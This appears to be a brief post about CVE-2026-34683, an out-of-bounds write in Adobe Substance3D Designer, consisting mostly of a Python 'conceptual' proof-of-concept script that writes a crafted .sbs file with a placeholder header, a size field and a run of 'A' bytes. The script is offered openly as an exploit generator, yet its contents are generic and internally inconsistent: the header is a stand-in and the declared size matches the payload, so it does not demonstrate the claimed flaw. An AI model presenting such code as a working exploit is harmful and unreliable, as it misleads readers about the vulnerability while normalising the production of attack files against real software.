CVE-2026-34683 Adobe Substance3D Designer越界写入漏洞

import struct # PoC for CVE-2026-34683 (Conceptual) # This script generates a malicious file to trigger an out-of-bounds write # by crafting a header followed by an oversized payload. def generate_malicious_file(filename): # Generic file header placeholder for Substance3D project file header = b"SBS_FILE_HEADER_MAGIC" # Vulnerable field: Size field claiming a large buffer # This tricks the parser into copying more data than allocated malicious_size = struct.pack('<I', 0x1000) # Payload to overflow the buffer (Pattern 'A' * 0x1000) payload = b"A" * 0x1000 with open(filename, 'wb') as f: f.write(header) f.write(malicious_size) f.write(payload) print(f"[+] Malicious file {filename} generated successfully.") if __name__ == "__main__": generate_malicious_file("exploit_cve_2026_34683.sbs")